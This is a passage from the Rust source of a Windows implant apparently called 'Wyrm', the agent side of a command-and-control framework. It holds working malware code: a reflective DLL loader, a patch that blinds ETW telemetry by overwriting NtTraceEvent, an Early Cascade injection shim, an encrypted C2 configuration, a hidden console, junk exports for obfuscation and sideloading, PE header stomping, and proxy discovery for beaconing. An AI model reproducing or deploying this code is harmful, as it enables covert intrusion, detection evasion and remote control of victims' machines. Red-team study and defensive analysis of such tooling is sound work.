type\n                let type_field = (entry >> 12) as u32;\n                let roff = (entry & 0x0FFF) as usize;\n\n                // Calculate teh absolute address of the value that needs to be relocated\n                // base + page RVA + offset within page\n                let patch_addr = (p_image_base as usize\n                    + (*p_img_base_relocation).VirtualAddress as usize\n                    + roff) as *mut u8;\n\n                //\n                // Apply the actual relocation\n                //\n                match type_field {\n                    IMAGE_REL_BASED_DIR64 => {\n                        let p = patch_addr as *mut u64;\n                        let v = read_unaligned(p);\n                        write_unaligned(p, (v as i64 + load_diff as i64) as u64);\n                    }\n                    IMAGE_REL_BASED_HIGHLOW => {\n                        let p = patch_addr as *mut u32;\n                        let v = read_unaligned(p);\n                        write_unaligned(p, (v as i32 + load_diff as i32) as u32);\n                    }\n                    _ => {}\n                }\n            }\n\n            // Move to the next reloc block\n            p_img_base_relocation = get_addr_as_rva(\n                p_img_base_relocation as _,\n                (*p_img_base_relocation).SizeOfBlock as usize,\n            );\n        }\n    }\n}\n\n#[inline(always)]\nfn patch_iat(\n    base_addr_ptr: *mut c_void,\n    mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,\n    exports: &RdiExports,\n) -> bool {\n    unsafe {\n        loop {\n            let desc = read_unaligned(import_descriptor_ptr);\n            if desc.Name == 0 {\n                break;\n            }\n\n            let module_name_ptr = get_addr_as_rva::<i8>(base_addr_ptr as _, desc.Name as usize);\n            if module_name_ptr.is_null() {\n                return false;\n            }\n\n            let module_handle = (exports.LoadLibraryA)(module_name_ptr as _);\n            if module_handle.is_null() {\n                return false;\n            }\n\n            let oft = desc.Anonymous.OriginalFirstThunk as usize;\n            let mut orig_thunk: *mut IMAGE_THUNK_DATA64 = if oft != 0 {\n                get_addr_as_rva(base_addr_ptr as _, oft)\n            } else {\n                get_addr_as_rva(base_addr_ptr as _, desc.FirstThunk as usize)\n            };\n\n            let mut thunk: *mut IMAGE_THUNK_DATA64 =\n                get_addr_as_rva(base_addr_ptr as _, desc.FirstThunk as usize);\n\n            loop {\n                let ot = read_unaligned(orig_thunk);\n                if ot.u1.Function == 0 {\n                    break;\n                }\n\n                let func_addr = if (ot.u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0 {\n                    //\n                    // import by ordinal\n                    //\n                    let ord = (ot.u1.Ordinal & 0xFFFF) as *const u8;\n                    match (exports.GetProcAddresS)(module_handle as _, ord as _) {\n                        Some(f) => f as u64,\n                        None => return false,\n                    }\n                } else {\n                    //\n                    // imports by name\n                    //\n                    let name_rva = ot.u1.AddressOfData as usize;\n                    let name_ptr = get_addr_as_rva::<u8>(base_addr_ptr as _, name_rva).add(2);\n                    match (exports.GetProcAddresS)(module_handle as _, name_ptr as _) {\n                        Some(f) => f as u64,\n                        None => return false,\n                    }\n                };\n\n                let mut t = read_unaligned(thunk);\n                t.u1.Function = func_addr;\n                write_unaligned(thunk, t);\n\n                orig_thunk = orig_thunk.add(1);\n                thunk = thunk.add(1);\n            }\n\n            import_descriptor_ptr = import_descriptor_ptr.add(1);\n        }\n    }\n    true\n}\n\n#[inline(always)]\nfn get_addr_as_rva<T>(base_ptr: *mut u8, offset: usize) -> *mut T {\n    (base_ptr as usize + offset) as *mut T\n}\n\n#[inline(always)]\nfn write_payload(\n    new_base_ptr: *mut c_void,\n    old_base_ptr: *mut u8,\n    nt_headers_ptr: *const u8,\n    nt_headers: &IMAGE_NT_HEADERS64,\n) {\n    unsafe {\n        let section_header_offset = (nt_headers_ptr as usize - old_base_ptr as usize)\n            + size_of::<u32>()\n            + size_of::<windows_sys::Win32::System::Diagnostics::Debug::IMAGE_FILE_HEADER>()\n            + nt_headers.FileHeader.SizeOfOptionalHeader as usize;\n\n        let section_header_ptr =\n            old_base_ptr.add(section_header_offset) as *const IMAGE_SECTION_HEADER;\n\n        //\n        // Enumerate sections\n        //\n        for i in 0..nt_headers.FileHeader.NumberOfSections {\n            // Read section header unaligned\n            let header_i = read_unaligned(section_header_ptr.add(i as usize));\n\n            let dst_ptr = new_base_ptr\n                .cast::<u8>()\n                .add(header_i.VirtualAddress as usize);\n            let src_ptr = old_base_ptr.add(header_i.PointerToRawData as usize);\n            let raw_size = header_i.SizeOfRawData as usize;\n\n            // Copy section data\n            copy_nonoverlapping(src_ptr, dst_ptr, raw_size);\n        }\n\n        // Copy PE Headers\n        copy_nonoverlapping(\n            old_base_ptr,\n            new_base_ptr as *mut u8,\n            nt_headers.OptionalHeader.SizeOfHeaders as usize,\n        );\n    }\n}\n\n#[inline(always)]\nfn nostd_patch_etw_current_process(exports: &RdiExports) {\n    let fn_addr = export_resolver::resolve_address(\"ntdll.dll\", \"NtTraceEvent\", None)\n        .unwrap_or_default() as *mut u8;\n\n    if fn_addr.is_null() {\n        return;\n    }\n\n    let ret_opcode: u8 = 0xC3;\n\n    // Have we already patched?\n    if unsafe { *(fn_addr as *mut u8) } == 0xC3 {\n        return;\n    }\n\n    // Required for 2nd fn call\n    let mut unused_protect: u32 = 0;\n    // The protection flags to reset to\n    let mut old_protect: u32 = 0;\n\n    unsafe {\n        (exports.VirtualProtect)(\n            fn_addr as *const _,\n            1,\n            PAGE_EXECUTE_READWRITE,\n            &mut old_protect,\n        )\n    };\n    unsafe { core::ptr::write_bytes(fn_addr, ret_opcode, 1) };\n    unsafe { (exports.VirtualProtect)(fn_addr as *const _, 1, old_protect, &mut unused_protect) };\n}\n\nfn calculate_image_base() -> Option<*mut c_void> {\n    let load_addr = Load as *const () as usize;\n\n    // Round down to 64KB boundary\n    let mut current = load_addr & !0xFFFF;\n\n    for _ in 0..16 {\n        if is_valid_pe_base(current) {\n            let current = current as *mut c_void;\n            return Some(current);\n        }\n\n        current = current.wrapping_sub(0x10000); // Move back 64KB\n    }\n\n    None\n}\n\n/// Do our best to validate that the offset we found is actually the start of our injected PE.\n/// This is necessary for using early cascade as we cannot pass a parameter into the routine.\nfn is_valid_pe_base(addr: usize) -> bool {\n    unsafe {\n        let base = addr as *const u8;\n\n        let lfanew = read_unaligned(base.add(0x3C) as *const u32);\n\n        // e_lfanew should be reasonable (typically 0x80-0x200)\n        if lfanew < 0x40 || lfanew > 0x1000 {\n            return false;\n        }\n\n        // Verify PE signature at e_lfanew offset\n        let pe_sig = read_unaligned(base.add(lfanew as usize) as *const u32);\n        if pe_sig != 0x00004550 {\n            return false;\n        }\n\n        // Verify machine type (x64)\n        let machine = read_unaligned(base.add(lfanew as usize + 4) as *const u16);\n        if machine != 0x8664 {\n            return false;\n        }\n\n        // Verify optional header magic\n        let opt_magic = read_unaligned(base.add(lfanew as usize + 24) as *const u16);\n        if opt_magic != 0x020B {\n            return false;\n        }\n\n        // Verify SizeOfImage is reasonable\n        let size_of_image = read_unaligned(base.add(lfanew as usize + 24 + 56) as *const u32);\n        if size_of_image < 0x1000 || size_of_image > 0xA00000 {\n            // Between 4KB and 10MB\n            return false;\n        }\n\n        // Verify ImageBase looks like a valid address\n        let image_base_field = read_unaligned(base.add(lfanew as usize + 24 + 24) as *const u64);\n        if image_base_field == 0 {\n            return false;\n        }\n\n        // Verify the address is within SizeOfImage\n        let load_offset = (Load as *const c_void as usize).wrapping_sub(addr);\n        if load_offset > size_of_image as usize {\n            return false;\n        }\n\n        true\n    }\n}\n"
  },
  {
    "path": "implant/src/stubs/shim.rs",
    "content": "//! This is a shellcode (no_std rust near enough == shellcode just not hand coded) stub in the rDLL for Early Cascade\n//! Injection which makes life easier rather than hand writing shellcode, or using an engine to do so.\n\nuse core::ffi::c_void;\n\nuse shared_no_std::{export_resolver::resolve_address, memory::locate_shim_pointers};\n\nuse crate::stubs::rdi::Load;\n\n#[repr(u32)]\nenum ShimHardReturnErrors {\n    Success = 0,\n    NtQueueApcThreadNotFound = 1,\n    ShimPtrsNotFound,\n}\n\n// ty https://ntdoc.m417z.com/ntqueueapcthread\ntype NtQueueApcThread = unsafe extern \"system\" fn(\n    thread_handle: isize,\n    apc_routine: *const c_void,\n    arg1: usize,\n    arg2: usize,\n    arg3: usize,\n) -> u32;\n\n/// Context independent stub that acts as a 'shim trampoline' which will execute when we set up the shim mechanism\n/// with g_ShimsEnabled == 1 and g_pfnSE_DllLoaded == address of Shim().\n#[unsafe(no_mangle)]\n#[allow(non_snake_case)]\npub extern \"system\" fn Shim() -> u32 {\n    let p_nt_queue_apc_thread =\n        resolve_address(\"ntdll.dll\", \"NtQueueApcThread\", None).unwrap_or_default();\n\n    if p_nt_queue_apc_thread.is_null() {\n        return ShimHardReturnErrors::NtQueueApcThreadNotFound as _;\n    }\n\n    let Ok(shim_ptrs) = locate_shim_pointers() else {\n        return ShimHardReturnErrors::ShimPtrsNotFound as _;\n    };\n\n    //\n    // Patch shim flag as per\n    // https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/\n    //\n\n    let val = 0u8;\n    unsafe { core::ptr::write_unaligned(shim_ptrs.p_g_shims_enabled, val) };\n\n    // TODO further search for EDR shims, and remove - make optional?\n\n    //\n    // Queue our reflective loader as an APC via NtQueueApcThread\n    //\n\n    let current_thread = -2isize;\n    let apc_routine = Load as *const c_void;\n    let apc_arg1 = 0usize;\n    let apc_arg2 = 0usize;\n    let apc_arg3 = 0usize;\n\n    //\n    // Queue the rDLL stub as an APC which will fire on NtTestAlert after ntdll has finished its biz\n    //\n    let NtQueueApcThread =\n        unsafe { core::mem::transmute::<_, NtQueueApcThread>(p_nt_queue_apc_thread) };\n\n    let res =\n        unsafe { NtQueueApcThread(current_thread, apc_routine, apc_arg1, apc_arg2, apc_arg3) };\n\n    if res != 0 {\n        res\n    } else {\n        ShimHardReturnErrors::Success as _\n    }\n}\n"
  },
  {
    "path": "implant/src/utils/allocate.rs",
    "content": "use std::alloc::{GlobalAlloc, Layout};\nuse windows_sys::Win32::System::Memory::{\n    GetProcessHeap, HEAP_ZERO_MEMORY, HeapAlloc, HeapFree, HeapReAlloc,\n};\n\npub struct ProcessHeapAlloc;\n\nunsafe impl GlobalAlloc for ProcessHeapAlloc {\n    unsafe fn alloc(&self, layout: Layout) -> *mut u8 {\n        HeapAlloc(GetProcessHeap(), 0, layout.size()) as *mut u8\n    }\n    unsafe fn alloc_zeroed(&self, layout: Layout) -> *mut u8 {\n        HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, layout.size()) as *mut u8\n    }\n    unsafe fn dealloc(&self, ptr: *mut u8, _layout: Layout) {\n        if !ptr.is_null() {\n            HeapFree(GetProcessHeap(), 0, ptr.cast());\n        }\n    }\n    unsafe fn realloc(&self, ptr: *mut u8, _layout: Layout, new_size: usize) -> *mut u8 {\n        HeapReAlloc(GetProcessHeap(), 0, ptr.cast(), new_size) as *mut u8\n    }\n}\n"
  },
  {
    "path": "implant/src/utils/comptime.rs",
    "content": "use std::process::exit;\n\nuse str_crypter::{decrypt_string, sc};\n\nuse crate::utils::console::print_failed;\n\npub type SleepSeconds = u64;\npub type ApiEndpoint = Vec<String>;\npub type SecurityToken = String;\npub type Useragent = String;\npub type Port = u16;\npub type URL = String;\npub type AgentNameByOperator = String;\npub type Jitter = u64;\npub type WinGlobalMutex = String;\npub type SpawnAs = String;\n\nconst SPAWN_AS_IMAGE_FALLBACK: &str = \"C:\\\\Windows\\\\System32\\\\svchost.exe\";\n\n/// Translates build artifacts passed to the compiler by the build environment variables\n/// taken from the profile\npub fn translate_build_artifacts() -> (\n    SleepSeconds,\n    ApiEndpoint,\n    SecurityToken,\n    Useragent,\n    Port,\n    URL,\n    AgentNameByOperator,\n    Jitter,\n    WinGlobalMutex,\n    SpawnAs,\n) {\n    // Note: This doesn't leave traces in the binary (other than unencrypted IOCs to be encrypted in a\n    // upcoming small update). We use `option_env!()` to prevent rust-analyzer from having a fit - whilst\n    // this could allow bad data, we prevent this at compile time with unwrap().\n    let sleep_seconds: u64 = option_env!(\"DEF_SLEEP_TIME\").unwrap().parse().unwrap();\n    const URL: &str = option_env!(\"C2_HOST\").unwrap_or_default();\n    const API_ENDPOINT: &str = option_env!(\"C2_URIS\").unwrap_or_default();\n    const SECURITY_TOKEN: &str = option_env!(\"SECURITY_TOKEN\").unwrap_or_default();\n    const AGENT_NAME: &str = option_env!(\"AGENT_NAME\").unwrap_or_default();\n    const MUTEX: &str = option_env!(\"MUTEX\").unwrap_or_default();\n    const USERAGENT: &str = option_env!(\"USERAGENT\").unwrap_or_default();\n    let port: u16 = option_env!(\"C2_PORT\").unwrap().parse().unwrap();\n    let jitter: Jitter = option_env!(\"JITTER\").unwrap().parse().unwrap();\n\n    let spawn_as_img: &str = option_env!(\"DEFAULT_SPAWN_AS\").unwrap_or_default();\n    let mut spawn_as_img = {\n        if spawn_as_img.is_empty() {\n            SPAWN_AS_IMAGE_FALLBACK.to_string()\n        } else {\n            spawn_as_img.trim().to_string()\n        }\n    };\n    spawn_as_img.push('\\0');\n\n    // to make the compiler comply, we have to construct the above including a default\n    // value if the env var was not present, we want to check for those default values\n    // and quit if they are present as that is considered a fatal error.\n    if URL.is_empty() {\n        #[cfg(debug_assertions)]\n        print_failed(\"URL was empty\");\n\n        exit(0);\n    }\n\n    if API_ENDPOINT.is_empty() {\n        #[cfg(debug_assertions)]\n        print_failed(\"API_ENDPOINT was empty\");\n\n        exit(0);\n    }\n\n    if SECURITY_TOKEN.is_empty() {\n        #[cfg(debug_assertions)]\n        print_failed(\"SECURITY_TOKEN was empty\");\n\n        exit(0);\n    }\n\n    if USERAGENT.is_empty() {\n        #[cfg(debug_assertions)]\n        print_failed(\"USERAGENT was empty\");\n\n        exit(0);\n    }\n\n    //\n    // Encrypt the relevant IOCs into the binary\n    //\n    let url = sc!(URL, 41).unwrap();\n    let useragent = sc!(USERAGENT, 49).unwrap();\n    let agent_name_by_operator = sc!(AGENT_NAME, 128).unwrap();\n    let security_token = sc!(SECURITY_TOKEN, 153).unwrap();\n    let mutex = sc!(MUTEX, 142).unwrap();\n\n    // The API endpoints are encoded as a csv; so we need to construct a Vec from that\n    let api_endpoints = API_ENDPOINT\n        .split(',')\n        .map(|s| s.to_string())\n        .collect::<Vec<String>>();\n\n    (\n        sleep_seconds,\n        api_endpoints,\n        security_token,\n        useragent,\n        port,\n        url,\n        agent_name_by_operator,\n        jitter,\n        mutex,\n        spawn_as_img,\n    )\n}\n"
  },
  {
    "path": "implant/src/utils/console.rs",
    "content": "use std::{\n    ffi::c_void,\n    fmt::Display,\n    ptr::null_mut,\n    sync::{\n        Mutex, Once, OnceLock,\n        atomic::{AtomicPtr, Ordering},\n    },\n};\n\nuse windows_sys::Win32::{\n    Foundation::HANDLE,\n    Storage::FileSystem::ReadFile,\n    System::{\n        Console::{AllocConsole, GetConsoleWindow, STD_OUTPUT_HANDLE, SetStdHandle},\n        Pipes::CreatePipe,\n        Threading::CreateThread,\n    },\n    UI::WindowsAndMessaging::{SW_HIDE, ShowWindow},\n};\n\nstatic INIT_PIPE: Once = Once::new();\npub static CONSOLE_PIPE_HANDLE: AtomicPtr<c_void> = AtomicPtr::new(null_mut());\npub static CONSOLE_LOG: OnceLock<Mutex<Vec<u8>>> = OnceLock::new();\n\npub fn get_console_log() -> &'static Mutex<Vec<u8>> {\n    CONSOLE_LOG.get_or_init(|| Mutex::new(Vec::new()))\n}\n\npub fn init_agent_console() {\n    INIT_PIPE.call_once(|| {\n        let _ = get_console_log();\n\n        //\n        // Hide the window if it exists\n        //\n        let h_wnd = unsafe { GetConsoleWindow() };\n        if !h_wnd.is_null() {\n            unsafe { AllocConsole() };\n            let h_w_n = unsafe { GetConsoleWindow() };\n            if !h_w_n.is_null() {\n                unsafe { ShowWindow(h_w_n, SW_HIDE) };\n            }\n        }\n\n        let mut p_out = HANDLE::default();\n        let mut p_in = HANDLE::default();\n        if unsafe { CreatePipe(&mut p_out, &mut p_in, null_mut(), 0) } == 0 {\n            // TODO idk best way to handle this\n            // Also we may want to exit the thread not process\n\n            #[cfg(debug_assertions)]\n            {\n                use windows_sys::Win32::Foundation::GetLastError;\n\n                print_failed(format!(\n                    \"Failed to init anon pipe for console. {:#X}\",\n                    unsafe { GetLastError() }\n                ));\n            }\n\n            std::process::exit(0);\n        }\n\n        CONSOLE_PIPE_HANDLE.store(p_out, Ordering::SeqCst);\n\n        unsafe { SetStdHandle(STD_OUTPUT_HANDLE, p_in) };\n\n        // TODO think about this in terms of doing funky things in the future like sleep masking.. does this cause\n        // a problem having multiple threads on the go? Or can i just freeze them all? Idek how it works in that\n        // much detail but.. we will see :)\n        start_stdout_reader_thread()\n    });\n}\n\nfn start_stdout_reader_thread() {\n    unsafe { CreateThread(null_mut(), 0, Some(thread_loop), null_mut(), 0, null_mut()) };\n}\n\nunsafe extern \"system\" fn thread_loop(_: *mut c_void) -> u32 {\n    unsafe {\n        let mut buf = [0u8; 4096];\n        let h_read = CONSOLE_PIPE_HANDLE.load(Ordering::SeqCst);\n\n        loop {\n            let mut bytes_read: u32 = 0;\n            let ok = ReadFile(\n                h_read,\n                buf.as_mut_ptr() as *mut _,\n                buf.len() as u32,\n                &mut bytes_read,\n                std::ptr::null_mut(),\n            );\n            if ok == 0 || bytes_read == 0 {\n                // TODO this is bad other than at process shutdown?\n                break;\n            }\n\n            if !buf.is_empty() {\n                let mut log = get_console_log().lock().unwrap();\n                log.extend_from_slice(&buf[..bytes_read as usize]);\n            }\n        }\n    }\n\n    1\n}\n\n/// Prints debug output via `OutputDebugStringA`; this internally checks for the agent being built in\n/// debug mode so this will not affect release builds.\n#[macro_export]\nmacro_rules! dbgprint {\n    ($($arg:tt)*) => {{\n        #[cfg(debug_assertions)]\n        {\n            use std::ffi::CString;\n            use windows_sys::{\n                Win32::{\n                    System::Diagnostics::Debug::{OutputDebugStringA},\n                },\n            };\n            let mut s = format!($($arg)*);\n\n            s.retain(|c| c != '\\0');\n            if let Ok(cstr) = CString::new(s) {\n                unsafe {\n                    OutputDebugStringA(cstr.as_ptr() as _);\n                }\n            }\n        }\n    }};\n}\n\npub fn print_success(msg: impl Display) {\n    println!(\"[+] {}\", msg);\n    dbgprint!(\"[+] {}\", msg);\n}\n\npub fn print_info(msg: impl Display) {\n    println!(\"[i] {msg}\");\n    dbgprint!(\"[i] {}\", msg);\n}\n\npub fn print_failed(msg: impl Display) {\n    println!(\"[-] {msg}\");\n    dbgprint!(\"[-] {}\", msg);\n}\n"
  },
  {
    "path": "implant/src/utils/export_comptime.rs",
    "content": "//! A module for creating either fake exports full of junk, or exports which\n//! lead to the running of the agent, customisable via profiles - thanks to the\n//! magic of macros.\n//!\n//! This module would be used for two main reasons:\n//!\n//! 1) Obfuscation: If you wish to obfuscate the binary by enforcing a number of random\n//! exports which take analyst time up to review, then you may wish to add a number of\n//! junk export functions.\n//!\n//! 2) Custom entrypoint: If you wish a custom entrypoint which is not `run`, this will\n//! allow you to define that - and it will come in handy for custom DLL sideloading.\n//\n\nuse core::arch::naked_asm;\nuse std::{ffi::c_void, mem::transmute, ptr::null_mut, sync::atomic::Ordering};\n\nuse windows_sys::Win32::{\n    Foundation::{CloseHandle, FALSE, HINSTANCE},\n    Storage::FileSystem::SYNCHRONIZE,\n    System::{\n        SystemServices::DLL_PROCESS_ATTACH,\n        Threading::{CreateThread, LPTHREAD_START_ROUTINE, Sleep},\n        WindowsProgramming::OpenMutexA,\n    },\n};\n\nuse crate::{\n    entry::{APPLICATION_RUNNING, start_wyrm},\n    utils::strings::generate_mutex_name,\n};\n\npub fn internal_dll_start(start_type: StartType) {\n    match start_type {\n        StartType::DllMain => start_in_os_thread_mutex_check(),\n        StartType::FromExport => {\n            if !APPLICATION_RUNNING.load(Ordering::SeqCst) {\n                start_in_os_thread_no_mutex_check();\n            }\n\n            loop {\n                unsafe { Sleep(1000) };\n            }\n        }\n        StartType::Rdl => {\n            if !APPLICATION_RUNNING.load(Ordering::SeqCst) {\n                start_in_os_thread_no_mutex_check();\n            }\n\n            loop {\n                unsafe { Sleep(1000) };\n            }\n        }\n    }\n}\n\nfn start_in_os_thread_no_mutex_check() {\n    unsafe {\n        let start = transmute::<LPTHREAD_START_ROUTINE, LPTHREAD_START_ROUTINE>(Some(runpoline));\n        let handle = CreateThread(null_mut(), 0, start, null_mut(), 0, null_mut());\n\n        if !handle.is_null() {\n            APPLICATION_RUNNING.store(true, Ordering::SeqCst);\n        }\n    }\n}\n\nunsafe extern \"system\" fn runpoline(_p1: *mut c_void) -> u32 {\n    start_wyrm();\n\n    0\n}\n\nfn start_in_os_thread_mutex_check() {\n    // If the mutex already exists we dont want to continue setting up Wyrm so just return out the DllMain\n    if check_mutex().is_some() {\n        return;\n    }\n\n    start_in_os_thread_no_mutex_check();\n}\n\n/// Returns `Some(())` if the mutex exists on the system\nfn check_mutex() -> Option<()> {\n    let mutex: &str = option_env!(\"MUTEX\").unwrap_or_default();\n    if mutex.is_empty() {\n        return None;\n    }\n\n    let mtx_name = generate_mutex_name(mutex);\n\n    let existing_handle = unsafe { OpenMutexA(SYNCHRONIZE, FALSE, mtx_name.as_ptr() as *const u8) };\n\n    if !existing_handle.is_null() {\n        unsafe { CloseHandle(existing_handle) };\n        return Some(());\n    }\n\n    None\n}\n\n#[allow(dead_code)]\npub enum StartType {\n    DllMain,\n    FromExport,\n    /// From the reflective loader\n    Rdl,\n}\n\nmacro_rules! build_dll_export_by_name_start_wyrm {\n    ($name:ident) => {\n        #[unsafe(no_mangle)]\n        unsafe extern \"system\" fn $name() {\n            internal_dll_start(StartType::FromExport);\n        }\n    };\n}\n\nmacro_rules! build_dll_export_by_name_junk_machine_code {\n    ($name:ident, $($b:expr),+ $(,)?) => {\n        #[unsafe(no_mangle)]\n        #[unsafe(naked)]\n        unsafe extern \"system\" fn $name() {\n            naked_asm!(\n                $(\n                    concat!(\".byte \", stringify!($b)),\n                )+\n            )\n        }\n    };\n}\n\ninclude!(concat!(env!(\"OUT_DIR\"), \"/custom_exports.rs\"));\n"
  },
  {
    "path": "implant/src/utils/mod.rs",
    "content": "pub mod allocate;\npub mod comptime;\npub mod console;\npub mod export_comptime;\npub mod pe_stomp;\npub mod proxy;\npub mod strings;\npub mod svc_controls;\npub mod time_utils;\n"
  },
  {
    "path": "implant/src/utils/pe_stomp.rs",
    "content": "/// Given an input mutable buffer, stomps the first 50 bytes at hte `MZ` point, and\n/// the \"This program cannot be run in DOS mode...\".\n///\n/// The function operates mutably on the input buffer.\npub fn stomp_pe_header_bytes(buf: &mut Vec<u8>) {\n    // overwrite the MZ header but keeping the e_lfanew\n    const MAX_OVERWRITE_END: usize = 50;\n    buf[0..MAX_OVERWRITE_END].fill(0);\n\n    // overwrite the THIS PROGRAM CANNOT BE RUN IN DOS MODE...\n    const RANGE_START: usize = 0x4E;\n    const RANGE_END: usize = 0x73;\n    buf[RANGE_START..RANGE_END].fill(0);\n}\n"
  },
  {
    "path": "implant/src/utils/proxy.rs",
    "content": "use std::{ffi::c_void, iter::once, mem::zeroed, ptr::null_mut};\n\nuse windows_sys::Win32::{\n    Foundation::{GlobalFree, TRUE},\n    Globalization::lstrlenW,\n    Networking::WinHttp::{\n        WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_AUTO_DETECT_TYPE_DHCP,\n        WINHTTP_AUTO_DETECT_TYPE_DNS_A, WINHTTP_AUTOPROXY_AUTO_DETECT,\n        WINHTTP_AUTOPROXY_CONFIG_URL, WINHTTP_AUTOPROXY_OPTIONS,\n        WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, WINHTTP_PROXY_INFO, WinHttpCloseHandle,\n        WinHttpGetIEProxyConfigForCurrentUser, WinHttpGetProxyForUrl, WinHttpOpen,\n    },\n};\n\nuse crate::{comms::construct_c2_url, wyrm::Wyrm};\n\n#[derive(Default)]\npub struct ProxyConfig {\n    pub proxy_url: Option<String>,\n    proxy_bypass: Option<String>,\n}\n\npub enum ProxyError {\n    /// The function could not convert UNICODE chars to a string in the lpszProxy field.\n    DecodeStringErrorProxy,\n    /// The function could not convert UNICODE chars to a string in the lpszProxyBypass field.\n    DecodeStringErrorBypass,\n    /// The function failed to get a valid pointer to a HINTERNET\n    HInternetFailed,\n    WinHttpProxyForUrlFailed(u32),\n}\n\npub fn resolve_web_proxy(implant: &Wyrm) -> Result<Option<ProxyConfig>, ProxyError> {\n    //\n    //  Try resolve the proxy the simplest way through WinHttpGetProxyForUrl\n    //\n\n    let ua_wide: Vec<u16> = implant\n        .c2_config\n        .useragent\n        .encode_utf16()\n        .chain(once(0))\n        .collect();\n\n    let h_internet = unsafe {\n        WinHttpOpen(\n            ua_wide.as_ptr(),\n            WINHTTP_ACCESS_TYPE_NO_PROXY,\n            null_mut(),\n            null_mut(),\n            0,\n        )\n    };\n\n    if h_internet.is_null() {\n        return Err(ProxyError::HInternetFailed);\n    }\n\n    let c2 = construct_c2_url(implant);\n    let target_is_https = c2.starts_with(\"https://\");\n    let url: Vec<u16> = c2.encode_utf16().chain(once(0)).collect();\n\n    let mut auto_proxy_options: WINHTTP_AUTOPROXY_OPTIONS = unsafe { core::mem::zeroed() };\n    auto_proxy_options.fAutoLogonIfChallenged = TRUE;\n    auto_proxy_options.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT;\n    auto_proxy_options.dwAutoDetectFlags =\n        WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;\n\n    let mut out_proxy_info = WINHTTP_PROXY_INFO::default();\n    let result = unsafe {\n        WinHttpGetProxyForUrl(\n            h_internet,\n            url.as_ptr(),\n            &mut auto_proxy_options,\n            &mut out_proxy_info,\n        )\n    };\n\n    if result == TRUE {\n        // If we got a valid proxy URL..\n        if !out_proxy_info.lpszProxy.is_null() {\n            let len_proxy = unsafe { lstrlenW(out_proxy_info.lpszProxy) } as usize;\n            if len_proxy > 0 {\n                let slice =\n                    unsafe { std::slice::from_raw_parts(out_proxy_info.lpszProxy, len_proxy) };\n                let Ok(proxy_url) = String::from_utf16(slice) else {\n                    unsafe { WinHttpCloseHandle(h_internet) };\n                    global_free(out_proxy_info.lpszProxyBypass as *mut _);\n                    global_free(out_proxy_info.lpszProxy as *mut _);\n                    return Err(ProxyError::DecodeStringErrorProxy);\n                };\n\n                unsafe { WinHttpCloseHandle(h_internet) };\n                global_free(out_proxy_info.lpszProxyBypass as *mut _);\n                global_free(out_proxy_info.lpszProxy as *mut _);\n\n                let proxy_url = winhttp_proxy_to_url(&proxy_url, target_is_https);\n\n                return Ok(Some(ProxyConfig {\n                    proxy_url: proxy_url,\n                    proxy_bypass: None,\n                }));\n            }\n        }\n    }\n\n    //\n    // Try via next best options to resolve proxy\n    //\n\n    let mut winhttp_proxy_config = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG::default();\n    let result = unsafe { WinHttpGetIEProxyConfigForCurrentUser(&mut winhttp_proxy_config) };\n\n    if result == TRUE {\n        //\n        // If an explicit proxy server is defined\n        //\n        if !winhttp_proxy_config.lpszProxy.is_null() {\n            let mut proxy_config = ProxyConfig::default();\n\n            let len_proxy = unsafe { lstrlenW(winhttp_proxy_config.lpszProxy) } as usize;\n            let len_bypass = {\n                if !winhttp_proxy_config.lpszProxyBypass.is_null() {\n                    unsafe { lstrlenW(winhttp_proxy_config.lpszProxyBypass) }\n                } else {\n                    0\n                }\n            } as usize;\n\n            if len_proxy > 0 {\n                let slice = unsafe {\n                    std::slice::from_raw_parts(winhttp_proxy_config.lpszProxy, len_proxy)\n                };\n                let Ok(proxy_url) = String::from_utf16(slice) else {\n                    unsafe { WinHttpCloseHandle(h_internet) };\n                    global_free(winhttp_proxy_config.lpszProxyBypass as *mut _);\n                    global_free(winhttp_proxy_config.lpszProxy as *mut _);\n                    global_free(winhttp_proxy_config.lpszAutoConfigUrl as *mut _);\n                    return Err(ProxyError::DecodeStringErrorProxy);\n                };\n\n                proxy_config.proxy_url = winhttp_proxy_to_url(&proxy_url, target_is_https);\n\n                // Now try resolve the bypass UNICODE string\n                if len_bypass > 0 {\n                    let slice = unsafe {\n                        std::slice::from_raw_parts(winhttp_proxy_config.lpszProxyBypass, len_bypass)\n                    };\n\n                    let Ok(bypass_url) = String::from_utf16(slice) else {\n                        unsafe { WinHttpCloseHandle(h_internet) };\n                        global_free(winhttp_proxy_config.lpszProxyBypass as *mut _);\n                        global_free(winhttp_proxy_config.lpszProxy as *mut _);\n                        global_free(winhttp_proxy_config.lpszAutoConfigUrl as *mut _);\n                        return Err(ProxyError::DecodeStringErrorBypass);\n                    };\n\n                    proxy_config.proxy_bypass = Some(bypass_url);\n                }\n\n                global_free(winhttp_proxy_config.lpszProxyBypass as *mut _);\n                global_free(winhttp_proxy_config.lpszProxy as *mut _);\n                global_free(winhttp_proxy_config.lpszAutoConfigUrl as *mut _);\n                unsafe { WinHttpCloseHandle(h_internet) };\n\n                return Ok(Some(proxy_config));\n            }\n        }\n\n        // Otherwise.. fall through\n    }\n\n    //\n    // Check for auto proxy\n    //\n    if !winhttp_proxy_config.lpszAutoConfigUrl.is_null() {\n        auto_proxy_options.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;\n        auto_proxy_options.lpszAutoConfigUrl = winhttp_proxy_config.lpszAutoConfigUrl;\n        auto_proxy_options.dwAutoDetectFlags = 0;\n\n        // reset out data so we dont read partially cached fields from earlier call\n        let mut out_proxy_info = unsafe { zeroed() };\n\n        let result = unsafe {\n            WinHttpGetProxyForUrl(\n                h_internet,\n                url.as_ptr(),\n                &mut auto_proxy_options,\n                &mut out_proxy_info,\n            )\n        };\n\n        if result == TRUE && !out_proxy_info.lpszProxy.is_null() {\n            let len_proxy = unsafe { lstrlenW(out_proxy_info.lpszProxy) } as usize;\n            if len_proxy > 0 {\n                let slice =\n                    unsafe { std::slice::from_raw_parts(out_proxy_info.lpszProxy, len_proxy) };\n                let Ok(proxy_url) = String::from_utf16(slice) else {\n                